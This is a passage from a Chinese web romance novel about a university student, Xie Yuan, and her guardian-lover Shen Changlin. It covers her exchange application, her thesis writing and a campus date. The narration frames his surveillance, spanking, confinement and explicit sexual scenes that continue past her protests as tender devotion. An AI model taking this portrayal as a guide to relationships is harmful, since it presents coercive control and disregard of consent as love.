谢沅听得眼泪汪汪,攀上他的脖颈,小声地说爱他。
但沈长凛翻脸有时候也就一瞬间。
他查她平板和手机的使用时长,漫不经心地说道:“你凌晨三点还在写论文吗?”
沈长凛轻柔地揉了揉谢沅的头发,低声说道:“下次别这样了,熬太晚了,写不完第二天再写。”
谢沅趴在床上,小腿翘起来,轻轻地晃着。
她很放松,一边吃着布丁,一边软声说道:“不是论文,叔叔,当时在看电影。”
谢沅毫不设防,声音也是柔的。
“是○○○的大电影,我小时候特别喜欢,”她的眼眸亮亮的,“真的很好看,现在看我还是特别喜欢。”
沈长凛低笑一声,轻声说道:“所以我不在家时,你每天都在熬夜看电影,才把眼睛看坏的?”
他想起来了,之前有一处回来也是。
谢沅打开了投影仪,舒舒服服准备开始看。
当沈长凛看过来时,谢沅终于意识到危险,她推开布丁杯,坐起身来,急声说道:“没有每天,叔叔,只有、只有一两天。”
他冷笑一声,说道:“你确定只有一两天?”
“最多三天,叔叔。”谢沅小声地说道,“您不在家,我睡不好才看的。”
她最近说谎说得很顺,连沈长凛都敢骗了。
但在他这里,说谎向来是罪加一等的,尤其是在证据确凿的情况下。
当沈长凛翻到具体的时间记录时,谢沅像是小猫般要炸毛,她下意识地就想从床上下去,脚尖还没落到地上,就被沈长凛攥住腰身按在了腿上。
这是谢沅最不喜欢的姿势。
她羞耻得想哭,最近又被他娇惯得特别过,强忍着泪意说道:“我都要是你的妻子了,你不能再这样了。”
谢沅总觉得,只有小孩子才会光着屁股被人摁在腿上打。
结果沈长凛直接就抽了肉臀一巴掌。
他轻笑一声,说道:“那你想怎么样?要我……,还是……?”
谢沅顿时就不吱声了。
她忽然觉得,还是做小孩子要好一点。
但沈长凛没放过她,低声说道:“自己报数,错一下重来。”
谢沅羞耻得欲死,熬夜玩的苗头才刚刚生出来,就被他给彻底浇灭了,夜生活这个东西,除了在沈长凛的床上,就跟她一点关系都没有。
可不管怎么说,沈长凛还是很温柔的。
他才从国外回来没有多久,转眼又要去滨城。
上次的事过后,沈宴白好像生病了,又好像再度出差了,很多天都没有回来。
现在两人都不在家,只有谢沅。
一个人的时候,胆量总会更大一些,她在露台的秋千吊椅看消息,燕大的公共通知下来得很快。
去交换这种事谢沅以前想都不敢想。
她之前早就想过,一毕业就直接嫁去秦家。
在谢沅最初的人生规划里,她现在已经和秦承月订婚,准备学习嫁人后要做的事了。
秦家主支人丁不旺,秦承月的年纪又长,当然是越早结婚生子越好。
不可能会给谢沅多一年交换的时间。
读书对她来说,没什么意义,没有这个好看的学历,照样能花钱将她包装得很漂亮。
而且做秦家的少夫人,不须要懂什么逻辑学、伦理学。
可是现在不一样了。
沈长凛很疼她,对她学习也很支持,就算不太同意,也不会太拒绝她。
所以谢沅才趁着沈长凛去滨城,偷偷地试着提交了一次材料。
反正也未必能通过,她就先试一试。
结果没有想到的是,第二天沈长凛就从滨城飞回来,将谢沅收拾了一顿。
他不常乘私人飞机,这次却是直接就回来处置她。
上午十点多,谢沅在楼下用早餐,她昨天晚上才看过沈长凛的行程表,此刻抬眸看见他,跟见鬼了一样。
她被狠罚了一回,哭着说不会再这样了。
截止日期很长,谢沅送沈长凛走,回去后忍不住继续修改材料。
她认真地弄了很久,等到修改完后,感觉第一次提交的材料的确有些草率了。
谢沅算着时间,到底没有忍住,在沈长凛最忙的那几天,把材料偷偷地又交上去了。
这次她没有自己交,是让余温帮她交上去的。
万万没想到,沈长凛那边的事情提前结束了,他原本想带谢沅玩几天的,她这学期课少,但事情不少,每天都在忙各种东西。
但人还没下飞机,就接到谢沅再次提交材料的消息。
阳奉阴违,真是让他家孩子玩了个明白。
沈长凛手下从来没人敢跟他玩这一套,没有想到第一次遇到这种胆大包天的事,竟然是在谢沅这里。
他听到后,没说什么,轻轻地笑了一声。
可汇报的人都吓出了一身的冷汗。
谢沅性子不倔强,甚至有点能屈能伸,当即就哭着改口了。
第一个晚上过去后,她睡着得很快,沈长凛慢慢地开始看谢沅准备的那些东西。
其实从她最初开始学德语,他就知道她有想法。
哲学是大学科,下面的分支很多,谢沅高中毕业时,沈长凛就了解过一些,他原本以为谢沅的性子,会学中哲或者伦理学之类。
可是她就是喜欢西哲。
最偏爱的哲学家也全是德国的。
那么枯燥的原典,愣是一本本地看了下去。
学哲学要是不碰德语那是不可能的,特别是谢沅还学西哲,怎么都绕不开德语。
语言是很奇妙的。有些东西,翻译过来后,反倒还没有翻译过来前好理解。
其实说实话,比起谢沅想要去德国读研、读博,沈长凛觉得去德国交换已经好很多,她还很乖,只去一年。
一年算什么呢?沈家和秦家都在海外有产业。
他可以经常飞去看她,也可以短暂坐镇海外,而且假期她肯定会乖乖回来的。
在那一天晚上,沈长凛便已经同意了。
上次拦下谢沅的材料,其实也是怕她冲动。
她不像沈宴白,一个人在国外也能过得很好,她性子柔弱,来沈家后去的最远的地方也不过是瀛洲。
谢沅是肯定没法照顾好自己的。
但是小孩子这么执着,应当也是有仔细想过的。
沈长凛看向她沉静的睡颜,轻轻地吻了下她的额头。
她的确是朵很柔弱的菟丝花,但是这又有什么关系呢?他可以把整个春天都赠予她。
不过为了让谢沅长个教训,沈长凛还是没立刻放过她。
有想做的事当然可以,但是阳奉阴违不可以-
从八宝山回来后,谢沅终于重获自由,她的心情也好了起来。
她攀上沈长凛的脖颈,声音柔柔的:“谢谢叔叔。”
沈长凛吻了吻谢沅的额头,轻声说道:“这两天有空,明天我们出去吧。”
他想的很好,但谢沅立刻从他身上下来了,她摇着头,难得有点小脾气:“都怪叔叔这几天太……了,我期中论文还没写完。”
沈长凛:“……”
是他脱离学校太久了,已经忘了谢沅还有期中考试和论文。
谢沅从床上下来,便翻出来了笔记本电脑和几本厚重的书册。
之前没想过女孩子也要这么忙,她这边没有设书房,沈长凛原本想给她再弄一个专门的书房,但谢沅不喜欢在书房做事,就搁置下来了。
她最喜欢的看书地点,永远都是露台、沙发和床上。
写论文很辛苦。
沈长凛看谢沅忙碌,很温柔地帮她准备了甜点和果饮。
孩子在他忙的时候总是很贴心,投我以木桃,报之以琼瑶,他也没有打扰她。
谢沅一直写到晚餐时间,才将笔记本合了起来。
沈宴白离开后,沈长凛再没什么顾忌,这几天将她关在家里,三餐就是他喂着用完的。
用完晚餐,谢沅又回去继续写。
她前段时间忙着准备材料,还有之前调研的事,论文本想最近写完,周末可以休息,计划却被沈长凛打乱,不得不现在开始赶DDL。
将近十点,谢沅才休息。
沈长凛在假期里,但谢沅忙时,他也没闲下来,沈宴白他们才刚去国外,很多事情还不熟悉。
他不得不陪着他们开跨国会议。
之前沈宴白进重症监护室时,沈长凛去看了他好几次。
再怎么说,这是亲侄子,他在这个世上为数不多的亲人,也是唯一一个能帮他分忧沈家事的人。
沈长凛还是希望沈宴白能好好的。
感情当然是高于亲情的。
谢沅也当然是重于沈宴白的。
但为了大局考量,沈长凛觉得沈宴白健康、能够做事也是很重要的事。
沈宴白瞧着风流,实则很感情用事,无论从哪个角度出发,让他去海外都是一个很好的选择,好在他自己也还没那么糊涂。
他临走前,沈长凛还去送了送他。
不过叔侄之间到底是不一样了。
沈宴白并不傻,沈长凛又没什么遮掩的意思,他之前应当也能感觉到。
可猜测是一回事,真正撞破又是一回事。
沈宴白性子桀骜不驯,纵然遭了这么一次劫,他还是沈家最张扬骄傲的大少爷。
临走前,他却到底没忍住,低头同沈长凛说道:“叔叔,您对沅沅好一点,她……她有点怕疼。”
这不是哥哥该说的话,这是一个男人的虚伪和私心。
如果可以的话,沈宴白大概只会想让谢沅更疼。
而且谢沅到底怕不怕疼,怕哪种疼。
没有比沈长凛更清楚的人。
他漫不经心,轻声说道:“你妹妹我会照顾好的,以后在国外,记得也要对自己好一点,照顾好自己。”
沈长凛说着模范叔叔的话。
旁人撞见这场景,绝不会想的出他们之间到底是什么关系。
沈长凛之前就想过让沈宴白去宁城常驻,沈宴白毕竟到了年岁,早就可以独立了,去海外更好,逢年过节回来一次,也不会总吓着谢沅了。
开完会过来时,谢沅刚刚沐浴完。
她的头发刚刚吹干,隐约带着潮意,披散在肩头,像是活色生香的精怪。
谢沅大部分时候很乖,偶尔也会小小地坏一下。
她没穿衣服,只宽松地披着浴袍。
谢沅眨着水眸看向沈长凛,跨坐在他的身上,轻轻地吻他的薄唇。
等他的眸色暗下来,扣住她的细腰时,她拍拍屁股起身:“叔叔,论文还没写完。”
谢沅的生活习惯很好,哪怕是很讨厌的事情,也不会一直拖着,这还是第一次赶DDL,而一切的起因都是沈长凛关他那三天。
他靠在长沙发上,唇边含笑。
沈长凛有时脾气真的很好。
他看了谢沅片刻,起身轻声说道:“要吃夜宵吗?”
谢沅抱着笔记本,乖声应道:“要的,叔叔。”
十一点半前,她是一定要睡觉的,沈长凛陪她写论文,还好心地帮她翻页码、查原文。
谢沅高中时沈长凛太忙,她的成绩单他都没怎么看过,还没家里的阿姨了解,到高考出成绩要报志愿时,才知道她可以上燕大。
已经错过的时间没法再追溯。
不过以后可以慢慢弥补。
沈长凛撑着下颌,看谢沅的书册,她批注做得不少,字迹也很工整认真。
其实这样的小孩子,哪怕缄默少言,放到哪里也依然会很耀眼夺目,她家学好,又不慕荣华,无论身处何地,都能好好地过完一生。
是他太幸运。
早早地遇到谢沅,早早地得到她。
沈长凛的性子有些阴晴不定,但和谢沅在一起时,他的心绪总会格外平和。
临到十一点时,他把水果也拿了过来。
深紫色的葡萄,如同玛瑙似的,每颗都透着宝石般的光泽,刚从冰柜里取出,沁着少许凉意。
谢沅今天的任务其实早就完成。
见到水果,她的眼眸亮了亮。
沈长凛轻笑一声,把谢沅抱到腿上,喂她吃水果,吃着吃着她就不想再看论文了。
他却不允她下去,指节揽过她的腰身,掌住她的腿根,声音微哑:“只吃这么一点,能吃饱吗?”
第65章 弄脏了。
谢沅雪白的双腿分开,坐在沈长凛的膝上。
她的眼眸含泪,樱唇也微微发肿,连他的吻都要承受不住。
谢沅的脸庞侧过去,下颌也微微抬起,她吸着气,弱声说道:“我不吃水果了,叔叔。”
葡萄不在时令,但却格外的甘甜多汁。
每一颗都很饱满,因为是从冰柜里拿出来的,有些冰凉。
深紫色的葡萄像是宝石般漂亮,就是实在太难含住了,可沈长凛的指节就抵在谢沅的唇边,她没有办法,只能勉强地又吃了一颗。
她今天晚餐好好吃了。
夜宵又吃了小蛋糕和布丁,看见水果时,本来就只想吃一点的。
但沈长凛喂她吃了好多。
谢沅的脸庞红着,她的眼尾也是红的,强忍着泪意说道:“我吃不下了,叔叔,想去、想去洗手间。”
水果的汁水丰盈,比直接饮水还要更饱胀。
谢沅用小手覆上沈长凛的手背,满眼都是恳求。
可男人却是那么无情,他扣着谢沅的腰身,修长的指节按在她鼓起的小腹上:“真的吃不下了吗?”
她的眸里水光摇晃,腿根不住地颤着。
谢沅含着泪说道:“真的吃不下了。”
沈长凛仍是漫不经心,轻笑着说道:“可是沅沅的论文还没写完。”
他将她抱在腿上,能够轻易握住她的手,一起滑动鼠标。
谢沅就是再迟钝,可能看出来沈长凛是想报复她刚才的幼稚之举,叔叔多么矜贵持重的一个人,怎么在家里总这么坏?
她讨好地攀上他的脖颈,摇着头说道:“不写了,叔叔。”
谢沅侧着身,眸里是一片莹润的水光,她葱白般的玉指绞在一起,骨节绷出漂亮的浅粉色光晕。
这个姿势让她的身形显得愈加纤细。
蝴蝶骨凸起,圆肩薄背,雪肤柔腻,曲线窈窕。
谢沅的腰身很细,后腰敏感,轻轻地摇晃时,像是颤动着的琴弦,藏得很隐匿的馨香浮动,如花枝般抖着。
她很多时候是懵懂的,可有些时候,又的确是很明白。
谢沅仰起脸庞,乖柔地直起身子,去吻沈长凛的唇。
她一边把控着技巧轻吻,一边声音柔软地说道:“叔叔,明天再写论文,现在……现在我要陪您了。”
谢沅的水眸纯真懵懂。
可每一个词句里,透着的都是惊人的蛊惑。
欲气横生,绮媚得令人血脉都在无声涌动。
谢沅不太会诱惑人,好多东西都是被沈长凛逼得不行,才一点点感知到的。
他们刚才一起时,她总被折腾得不轻。
后来方才明白要如何让沈长凛消气,如何让沈长凛放过她。
谢沅的方法很笨拙,来来回回就那几套,但又是很有用的。
她的水眸里盛着星子,满心期待地等沈长凛放开她,男人却仿佛是看透她了似的,按在她小腹上的手用的气力更大了。
谢沅真的要不行了。
她快忍不住要哭出来了,声音抖着说道:“不行,叔叔,求您了,我想去洗手间……”
沈长凛在床上的手段狠、花样多,谢沅根本玩不过他。
她终于知道害怕,这回掉的泪水没有任何伪饰,全都是真情实感的。
谢沅做小朋友时都没有尿过床。
她羞耻得快要发疯,指节抓在沈长凛的肩头,不住地挣扎着:“你、你放开我,沈长凛。”
陌生的感触如潮水般汹涌。
谢沅披着的浴袍已经全乱了,可沈长凛还依旧西装革履,衣冠楚楚。
她方才转身攀住他的脖颈,更方便他将她禁锢在怀里。
沈长凛按着谢沅的腰身,低笑一声,柔声说道:“没关系的,沅沅。”
他的声音轻轻的,但指节的按揉动作却是那么狠。
谢沅的脑中闪动着阵阵白光,理智的弦都快要绷不住,她的意识都有些乱而模糊,哭着攀上沈长凛的脖颈,像怕水的猫崽子般钻进他的怀里。
如果她有尾巴的话,现在尾巴上的毛肯定全都炸开了。
谢沅想要对抗本能,但最终还是失败了。
她“哇”的一声就哭出来了。
谢沅还没有这么丢脸过,她的脸庞潮红,死命地想从沈长凛的怀里下来,他却将她抱得更紧了。
他托着她臀根的软肉,将人整个抱起来。
谢沅要气哭了,她委屈又气恼:“都怪你……,都、都弄脏了,好脏的……”
她语无伦次,哭得厉害,一句话都说不完整。
沈长凛搂抱着谢沅,轻声哄道:“不脏的,沅沅,不是……,是……。”
他怎么说,她都不听。
谢沅的脸庞滚烫,耳尖和脖颈也烧着,就连雪白的肩头都透着薄粉。
她的肩一耸一耸的,不住地掉眼泪,可身上又没力气,连用手指抹眼泪都做不到。
直到沈长凛把谢沅抱到浴室里,她才好受一点。
她想把他直接推出去,自己洗干净,但他却漫不经心地解了领带,把她抱到浴缸里。
谢沅又气又羞,虚张声势地说道:“你出去,我要洗澡了。”
她说这话时,语气实在幼稚。
但谢沅实在是太生气了,她知道沈长凛坏,她不知道他能坏到这个地步。
他眉眼温柔,轻声说道:“我把沅沅弄脏了,如果还不把沅沅洗干净,不更过分了吗?”
沈长凛还知道他过分?
谢沅的脸庞烫到能泛起热气,她写了好久论文,本来就很累,脑细胞也快烧干净。
刚刚又被他那样作弄,现在脑中还是昏昏的。
她想了想,觉得沈长凛说得也有道理,他应该给她赔罪的。
谢沅红着脸庞,声音还带着鼻音:“那你要洗干净,洗得很干净才行。”
她微微抬起下颌,又开始虚张声势起来。
殊不知,这是再度踏入了男人的骗局里。
沈长凛笑着说道:“好。”-
翌日谢沅醒来的时候,简直想把沈长凛从家里赶出去,回想起昨夜的事,她羞耻得想死,见都不想见他。
知道沈长凛还在开会后,谢沅连早餐都没吃。
她偷摸地背上电脑和书册,便悄悄地下楼离开。
谢沅给司机打电话,言说要去学校提交一份材料,她最近一直在忙这方面的事情,又不是出远门,司机便很快过来了。
都知道沈长凛宠谢沅。
可没人想过谢沅胆大包天到敢骗过沈长凛。
于是沈长凛开完会回来时,才知道谢沅偷偷离开了。
他站在二楼,修长的指节搭在扶栏上,容色晦暗不明。
但这就不关谢沅的事了。
今天是周末,图书馆里的人不算太多,她找了个很舒服的位子,然后抱着笔记本继续看论文。
谢沅虽然偷偷离开了,但她害怕沈长凛秋后算账,还很贴心地给他发了消息。
【叔叔,我在学校图书馆写论文,写完就回家,中午不用等我了。】
然后她还给沈长凛发了个可爱的表情。
谢沅的生活最近真的很放松,她每天都自由自在的,难得有些无忧无虑。
沈长凛原本是带着暗怒的,看到她消息后,反倒笑了出来,也不再有什么脾气。
罢了。随她吧。
于是谢沅在图书馆奋战一整天,真的把论文写完了,她一个人的时候,做事效率还算高,但跟沈长凛在一起就不行。
他不像她这样懂事贴心,嘴上说着只是陪她,依然会总来扰她。
谢沅这个年岁,抵抗力又没有那么好。
就好像被沈长凛关在家里的那三天,她是真的什么也没干,脑子都是空荡荡的。
他们的关系渐渐转变。
谢沅的胆子越来越大,沈长凛也越来越能纵着她。
从前他再疼她,她还是会怕,但现在她好像不太怕他了。
谢沅咬着吸管,把文档上传到学校的邮箱,然后点了“发送”键,她倚靠在沙发上,跟沈长凛继续发消息。
【你到了吗,叔叔?】
改变是潜移默化的。
谢沅也不知道转变到底发生在什么时候,她只知道她现在跟以前真的不太一样了。
曾经时刻压在胸腔里的阴霾,不知何时悄悄消逝了。
她能看得见日光,也能触摸得到未来。
谢沅还是不太还说话,还是很容易害羞,可相比之前的紧绷和压抑,她的世界都开阔了很多。
她捧着吸杯,慢慢地喝着水。
沈长凛不知道何时才过来,她把电脑放到单肩包里,然后漫无目的地看屏幕。
自从沈宴白去海外后,他开始疯狂地发ins。
也不明说什么,只是发各种风景图,他特别爱拍花,还自己养了花,一天能发十几条社交平台。
沈宴白以桀骜不驯、高冷随性闻名,现在却跟青春期的少女一般。
他工作忙,就见缝插针地发。
国内的媒体千方百计地在扒,想推测沈宴白最近是又交了哪位新女友。
然后众人震惊地发现,自从和那位模特女友分手后,他已经许久没有过艳闻了。
谢沅之前生沈宴白的气,把能看得见他的地方,都把他屏蔽了一遍,知道沈宴白之前病重、现在又去了海外,她才把他放出来。
他人在国外,一举一动仍能掀起轩然大波。
沈宴白某天深夜,发了一条消息。
【如果能有时光机。】
简单的半句话,像是醉酒时意外发出来的,没过三分钟就删了个利落,可那天连国内的社交平台都被刷崩了。
沈宴白是很典型的浪子,他风流浪荡,做事随性,是再恣意不过的人。
可他最近的反常也很明显。
许多人都在试着扒,沈家从来没管过沈宴白的事,唯独这条消息的相关事宜,没多久就被全压下去了。
谢沅只看到了个小尾巴,还是余温发给她的。
她垂着眸子,没有再多看。
就当谢沅等沈长凛消息等到有些急,想要给他再发个消息时,一双修长精致的手轻轻落在了她的肩头。
她睁大眼眸,诧异地回过头。
谢沅坐在自修室外面的沙发上,这边人来人往很少。
她屈起膝,隔着沙发抱住了沈长凛,柔美的脸庞上是遮不住的惊喜。
谢沅仰起小脸,眼眸亮亮的:“我还以为叔叔要好久才过来。”
“刚好在附近,看到你发消息就过来了。”沈长凛很自然地背过她的包,他难得没穿西装,他的身形高挑,容色又俊美,穿什么都格外惹人瞩目。
谢沅是第一次见他穿得这样随意。
白色的外套,金色的机械腕表,再背上她浅粉色的单肩包。
沈长凛的气度依然矜贵,气质却更类少年人了,就是有人说他是大四的学长,都会有很多人信。
谢沅的眼眸亮亮的,她的手被他牵着,唇角也翘了起来。
已经到晚餐的时间了。
图书馆里人并不少,像谢沅这样住在家里的人是少见的,大部分人还在住在学校里。
用功的人连周末都整日泡在图书馆里。
沈长凛是在国外读的书,他二十多岁才回的国,这还是第一次陪着谢沅到燕大的图书馆。
她之前很怕公开,但现在牵着他的手时,几乎有些像是想要炫耀的小孩子。
连尾巴都翘起来了。
那么乖顺那么安静的孩子,其实也有想要炫耀的时候。
想到他的沅沅想要炫耀的是他,沈长凛的情绪就更温柔了,遇到认识同学的时候,谢沅也很大方地打招呼。
之前谢沅参加比赛,沈长凛就感觉到过。
其实在学校、在同学面前时,谢沅好像要更加适应,也更加开朗许多。
沈长凛没有养过孩子,沈宴白又从来不用他操心,他很迟地意识到,在养谢沅的过程中,他是有很多疏漏的。
在他们这个圈子呆久了,很容易忘却外面是什么景象。
谢沅的家境还算可以,但那也只是在普通人当中。
她父亲谢知从来没有想过再回来,他的作风简朴,为人又淡泊名利。
所以对谢沅来说,燕城和权贵圈子里的一切,对她来说是很陌生的,就像是华美但却不合脚的鞋子,她穿着并不舒服。
只是她从来不说罢了。
谢沅是个很好的孩子,她不习惯居高临下,不习惯颐指气使。
她甚至用不惯仆从。
谢沅花了好些年,才终于能够做出表面适应的样子,她其实不像沈宴白之前所想的那样孱弱、无能。
只是成长的阵痛对她来说,实在是太艰难了。
她能从那样地黑暗里走出来,她比谁都要更坚强、厉害。
沈长凛搂住谢沅的腰身,到底没有忍住,在无人窥见的地方,轻轻地吻了吻她。
他很低声地说道:“我应该再早些爱上你的。”
“不行,叔叔,”谢沅红着脸庞,挣扎地说道,“你那是恋童。”
沈长凛:“……”-
从图书馆出来后,谢沅带着沈长凛去燕大附近的冰激凌店。
学校附近的美食,总要比别处要更多。
沈长凛绝不允谢沅乱吃东西,可她就是爱吃零食、冰激凌之类的食物。
不过她生得瘦弱,吃点高热量的东西也好。
沈长凛刚开始管谢沅很严,后来也渐渐放松许多,她到底不是沈宴白那种胃病深重的,不过就是脾胃弱一点,能多吃点才是好事。
但他这还是第一次来陪她吃冰激凌。
跟寻常的甜筒、雪糕、冰激凌球不太一样,这家店里的冰激凌非常特别。
所以才深得资深冰激凌爱好者谢沅的喜欢。
沈长凛撑着下颌,看她熟稔快乐地点餐,心觉自己真是养了个孩子。
之前谢沅吃太多冰激凌,然后胃疼,他狠罚过她一两次,现在想来,真是一点用都没。
反倒让人有更多方式藏着来吃了。
谢沅就是瞧着乖,背里跟她哥哥还真的有点像,喜欢在规则里面乱来。
她把冰激凌也递给他,声音柔软地说道:“你看叔叔,一个杯子里只有五颗哦。”
沈长凛是允许她吃家里阿姨做的冰激凌的。
但是不许她吃太多,一次只准吃五颗。
说实话,如果不是谢沅带他过来,沈长凛觉得就算是他这样的身份地位和见识,估计也一辈子吃不到这么大的冰激凌球。
他忍不住笑了,轻声说道:“沅沅是乖孩子。”
谢沅本来在吃冰激凌,闻言耳尖忽然有些红,她真的很容易害羞。
雪肤薄薄的,脸庞或是耳朵泛红,总是格外明显。
沈长凛没有再逗弄她,陪着她吃完冰激凌后,继续出门逛,他其实已经很多年没过过这种生活。
印象中他很少有出来,但身边又没有随扈的时候。
凡尘到底是个什么滋味,沈三公子是全然不明白的。
他自降世时,就尊贵得不可言说。
在国外的那些年,人人敬着,他性子又冷,那时候还有媒体敢报道他,暗里称他是“不染人间烟火的天上谪仙”。
后来沈三公子变成秦沈两家的主事人。
他性子更冷,尊他敬他的人更多,追随在身边忠心耿耿的人倒是不少。
但能说得上话的,却是更没什么人了。
高处不胜寒,人在高位太多年,很容易飘忽,很容易孤独,也会很容易生出病态的渴望。
常听说有些位高权重的人物,年长以后与保姆、护士有感情,或者热衷于救风尘,喜欢拯救落难的年轻孩子。
其实就是孤寒。
所处的位置越高,这孤寒就越难避免。
后来沈长凛想,秦家人血脉里的冷淡,或许就是为了对抗这孤寒而存在的。
秦老先生是这样,沈夫人是这样,他也是这样。
可是不一样的是,沈长凛遇到了谢沅。
谢沅总是很感激他当初将她从深渊里拉出来,其实他也应该很谢谢她,如果没有她,他这一生该多孤独,多没有意义。
燕大附近学生很多,周末的晚上尤其的热闹。
路边有卖那种小荧光棒的。
谢沅很豪奢地买了许多,然后编成手环,自己戴了一个,也给沈长凛戴了一个。
他还没有接触过这种东西。
两个人之间年龄差还算可以,但成长环境不一样,到底是有些代沟的。
谢沅就等着沈长凛来问这是什么,他却偏不问,只很认真地说道:“沅沅编得很好看。”
她没有办法,自己解释道:“这种荧光棒可有意思了,叔叔。”
“我做小孩子的时候很喜欢,”谢沅柔声说道,“不过现在总见不到了,今天好巧呀。”
沈长凛轻笑着,揉了揉她的头发:“你现在也是小孩子。”
在他眼里,谢沅永远都小小的。
她喜欢童话故事,喜欢动画电影,喜欢一切小孩子喜欢的。
谢知和冯依没能陪谢沅度过的少年期,沈长凛愿意用一生陪她过完。
但她的注意力很快就被别的好玩的吸引走。
谢沅走了一路,也买了一路,她是个很大方的孩子,无论买什么,都要也送给沈长凛许多。
他平生还没有收到过这样廉价,又这样昂贵的礼物。
晚上的餐厅也是谢沅选定的。
很普通的餐厅,来往的几乎全是年轻人,有情侣,有来聚会的。
装修很不错,是森林主题的,餐厅的中央还有唱歌的乐队。
那些小玩意被谢沅随意地放在一边,有人路过差些撞掉,沈长凛按住,然后将那些物什全都整理好,放进了谢沅的背包里。
她点餐很快,水眸整晚都是亮亮的。
谢沅托着腮帮,眉眼弯起:“他们唱歌是不是很好听,叔叔?”
比起高雅严肃的音乐会,这样的音乐形式要随意得多,也会令人更加放松得多。
多年来谢沅寄养在沈家,也被迫踏入沈长凛所处的陌生尊贵世界。
他总依照自己喜欢的方式养她,虽也是娇惯,却到底是另一种变相的揠苗助长。
这还是沈长凛第一次来到谢沅所处的世界。
如果没有他的插手,谢沅其实也能活得很好,她在她的世界里是轻松且快乐的。
但他是不可以没有她的,哪怕是掠夺,他也是注定要将她掠夺回来的。
好在他的沅沅没有想过什么搬出去,离开他之类的事。
沈长凛轻笑一声,温声说道:“好听,沅沅。”
他的眼里都是对她的宠溺,仿佛她是这个世界上最昂贵的珍宝。
沈长凛话音刚落,谢沅就攀上他的脖颈,声音柔柔地说道:“叔叔,最近事情好多呀,我能在学校住一段吗?”
第66章 她想告诉全世界,她和他结婚……
什么是白昼做梦?
谢沅这就是白昼做梦。
沈长凛的容色冷下来,掐了一下她的小脸,低声说道:“想都别想。”
他的气度矜贵,在这样喧嚷吵闹的餐厅里很格格不入。
现在生气起来,反倒有些落入红尘的意味。
谢沅高中时住在家里,大学也住在家里,就大一时短暂住了段校,即便那时候每周末也必须要回家。
她没有想过沈长凛会立刻同意,却也没想到他拒绝得这么快。
“我不会乱来的,叔叔。”谢沅拉住他的手,小心地说道,“最近事情真的很多,总是来回赶,实在是太麻烦了。”
升入大三后,她的课业少了很多。
但杂七杂八的事却更多了。
谢沅仰起脸庞,抬起水眸看沈长凛:“就住一个月,可以吗,叔叔?”
她的胆子是真的越来越大了。
放在之前,谢沅连说这话的勇气都提不起来,犹豫再三后,也只敢试探着问一两句。
或许真是将人宠得太过了。
沈长凛的容色还是冷着,他一字一句地说道:“一天也不行。”
他怎么这么难说话呢?
“好吧,好吧,我都听您的。”谢沅有些丧气,她靠在沈长凛的肩头,却并不敢再说任性话了。
她现在胆子大了很多,但还是很怕沈长凛的秋后算账。
谢沅乖下来,沈长凛的眉眼也复又温和起来。
“等明年你都要去德国了,”他低笑一声,“到时候一个人在外面,想怎样恣意都没人管你。”
小孩子好像都是这样的。
年幼时总是很依赖长辈,但等长到一定年岁后,便总想着离开。
谢沅见沈长凛笑,肩头也放松下来。
她摇着头说道:“我没有那么想,叔叔,最近事情真的很多。”
“在家里很舒服,我也不想离开您,”谢沅有些苦恼地说道,“就是家里离学校太远了,来回有点麻烦。”
那当然了。
家里要是在市中心,还哪里能舒服得起来?
沈长凛觉得他的脾气真的越来越好了。
如果是之前,听到谢沅想要搬出去的话语,他都会不能忍受,现在还能好好地听她说完缘由。
沈长凛漫不经心,指节轻叩在桌案上,他正欲说些什么,谢沅点好的餐食便上来了。
以前都是他带她用餐,这还是第一次她带他用餐。
谢沅像是翘着尾巴的小猫,眼眸亮亮的,跟沈长凛介绍这些餐点,就连甜食她也给他点了一份。
沈长凛吃甜食很少。
家里请了专门的甜点师,全都做给谢沅吃了。
他对甜食的兴致也不高,今天一晚上跟着谢沅吃的,比过去半年都多。
用完餐后,是沈长凛开的车。
他去何处都有司机候着,这还是谢沅第一次坐他的车。
谢沅坐在副驾上,身上盖着沈长凛的外套,她今天写论文很累,刚刚玩也很累,说着说着话,就睡了过去。
她在车里很容易睡着。
沈长凛把温度调高少许,快到家时谢沅才睡醒。
她的脸庞睡得有些红,眼眸里氤氲着一层水雾,带着点迷离。
沈长凛将谢沅直接抱了出来,她环住他的脖颈,眼眸弯起,乖顺得不像话。
最近谢沅的事情是真的多,他之前想过的逐步公开,也没能推行下去,在家里她总算没那样避着下人。
但也没人多想。
毕竟沈长凛本来就疼谢沅。
明年谢沅要去德国一年,最近学德语学得越来越认真,也不好多扰乱她的心情。
当初答应孩子的时候有多爽快,沈长凛现在就有多后悔。
他高估了自己的道德水准。
自从去年冬天过后,道德和礼义这个东西,便彻底打沈长凛的世界里离开了,他连谢沅去学校住都不能忍受,更不要说放她出国一整年了。
可总将人拘在身边也是不成的。
谢沅长大了,她现在的状态也比之前好太多。
她渐渐从阴影中走出,渐渐能够接受与异性接触,也和所有这个年岁的孩子一样,在渴望外面的世界,渴望自由。
沈长凛垂下眼眸,将心底的恶欲压下来,轻吻着谢沅的脸庞和樱唇。
她之前学了些技巧,刚刚睡得迷乱,这会儿亲吻又变得生涩起来。
接吻对谢沅来说,是床笫事间最艰难的一项。
因为他们刚在一起的时候,他总是逼她,逼得太过,她就更学不好,更害怕接吻。
沈长凛将她按在长沙发上,很轻地吻着谢沅。
旁人都是用亲吻来转移注意,他们之间却是相反的,要用其他事来转移亲吻的注意。
家里的温度常年都是适宜的。
但谢沅有些怕冷,细带从肩头滑落后,她轻微地瑟缩了一下,将沈长凛拥得更紧,雪白笔直的长腿也把他的腰身环得更紧。
她的细腰轻动,像柔腻的白雪般摇曳。
沈长凛掌住谢沅的腰身,病态的欲念在黑暗里时,总会要更汹涌、也更难以压抑些。
他吻着她的脖颈和锁骨,在那如月色般的皎洁上落下层叠的痕印。
谢沅禁不住地颤抖,有一种要被沈长凛拆吃入腹的错觉,低低的哭腔从喉间溢出,细弱无力。
客厅里很黑,没有一缕光照得进来。
沈长凛咬得太重了。
谢沅带着低泣声,嗓音细细地唤道:“疼,叔叔……”
锁骨真的流血了,他以前也咬破过别处,更疼更难以忍受。
可那时候哭也没用,沈长凛是不会在这上面怜她的,他占有欲和控制欲很强,尤其喜欢留下痕印。
然而现今听到谢沅的哭声后,沈长凛就停了下来。
他低声说道:“弄疼你了吗?”
谢沅带着鼻音,低低地“嗯”了一声,她以为沈长凛会去开灯,或者抱她到楼上,但下一秒落在锁骨上的是温热的唇舌。
温柔没能停留过去,接着到来的是一种比往先更狠戾的欲念。
恶欲如有实形,化作强势的掠夺。
谢沅的指节抵在沈长凛的肩头,她的小腿蹬着,不住地想要挣扎。
锁骨处的血痕原本不重的,现在却越来越疼。
